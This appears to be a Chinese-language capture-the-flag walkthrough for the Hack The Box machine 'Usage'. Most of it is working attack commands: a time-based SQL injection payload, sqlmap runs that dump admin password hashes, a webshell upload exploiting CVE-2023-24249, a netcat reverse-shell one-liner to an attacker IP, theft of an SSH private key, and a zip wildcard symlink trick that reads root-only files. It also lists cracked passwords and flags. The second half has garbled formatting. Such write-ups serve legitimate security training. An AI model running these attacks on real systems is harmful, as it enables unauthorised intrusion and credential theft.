HTB靶机Usage渗透测试教学文档
1. 信息收集阶段
1.1 初始扫描
使用Nmap进行初始扫描:
nmap -sV -sC 10.10.11.18 --min-rate 1000
1.2 主机文件配置
将目标主机添加到/etc/hosts文件中:
echo '10.10.11.18 usage.htb admin.usage.htb' >> /etc/hosts
2. Web应用测试
2.1 发现SQL注入漏洞
在/forget-password页面发现SQL注入点:
email=maptnh%40log.com'+AND+5212%3dBENCHMARK(5000000,MD5(0x62434473))--+NKGG
2.2 使用SQLMap进行自动化注入
- 确认注入点:
sqlmap -r request.txt --level 5 --risk 3 -p email --batch
- 枚举数据库:
sqlmap -r request.txt --level 5 --risk 3 -p email --batch --dbs --threads 10
- 选择目标数据库:
sqlmap -r request.txt --level 5 --risk 3 -p email --batch -D usage_blog --threads 10
- 提取管理员凭据:
sqlmap -r request.txt --level 5 --risk 3 -p email --batch -D usage_blog -T admin_users -C username,password --dump --threads 10
获取到哈希值:$2y$10$ohq2kLpBH/ri.P5wR0P3UOmc24Ydvl9DA9H1S6ooOMgH5xVfUPrL2
2.3 破解哈希
- 保存哈希到文件:
echo "$2y$10$ohq2kLpBH/ri.P5wR0P3UOmc24Ydvl9DA9H1S6ooOMgH5xVfUPrL2">hash
- 使用John破解:
john hash --show
获取到明文密码:whatever1
3. 获取初始访问权限
3.1 登录后台
使用获取的凭据登录:
URL: http://admin.usage.htb
用户名: admin
密码: whatever1
3.2 利用CVE-2023-24249任意文件上传漏洞
- 在修改头像处抓包上传webshell
- Webshell内容为完整的PHP反向shell代码
3.3 访问上传的Webshell
Webshell路径:
http://admin.usage.htb/uploads/images/1.jpg.php
3.4 建立反向Shell
由于上传的文件会自动删除,建议建立反向shell:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.25 10032 >/tmp/f
4. 权限提升
4.1 获取User Flag
cd ~
cat user.txt
User Flag: c2d7e977f5bf1e5489600557a46274af
4.2 发现其他用户
- 查看.ssh目录:
ls -la
- 获取SSH私钥:
cat .ssh/id_rsa
- 使用私钥登录:
chmod 400 id_rsa
ssh -i id_rsa dash@10.10.11.18
- 检查系统用户:
cat /etc/passwd
发现xander用户
4.3 获取xander用户凭据
在.monitrc文件中找到xander用户的密码:
cat .monitrc
密码: `3nc0d3d_pa
\[w0rd` ### 4.4 登录xander用户 ```bash ssh xander@10.10.11.18 ``` ### 4.5 检查sudo权限 ```bash sudo -l ``` 发现可以以root权限运行`/usr/bin/usage_management` ### 4.6 分析usage_management程序 ```bash strings /usr/bin/usage_management ``` 发现程序使用zip进行压缩,并使用了通配符* ### 4.7 利用zip特性提权 1. 创建特殊文件: ```bash cd /var/www/html/ touch '@root.txt' ``` 2. 创建软链接: ```bash ln -s -r /root/root.txt root.txt ``` 3. 执行特权程序: ```bash sudo /usr/bin/usage_management ``` 选择第一个选项 ### 4.8 获取Root Flag 程序执行后,可以读取root.txt内容: ```bash cat root.txt ``` Root Flag: `4db7d21fd012953e657d461c1c6c0900` ## 5. 技术要点总结 1. **SQL注入利用**:通过忘记密码功能发现SQL注入点,使用SQLMap自动化提取数据库信息 2. **哈希破解**:识别哈希类型为bcrypt,使用John the Ripper进行破解 3. **文件上传漏洞**:利用已知CVE漏洞上传webshell获取初始访问权限 4. **权限提升路径**: - 通过SSH私钥横向移动到dash用户 - 在配置文件中发现xander用户凭据 - 利用sudo权限执行usage_management程序 - 利用zip的-snl参数特性读取root文件 5. **关键命令**: - 反向shell构造 - 软链接创建 - sudo权限检查 - 字符串分析\]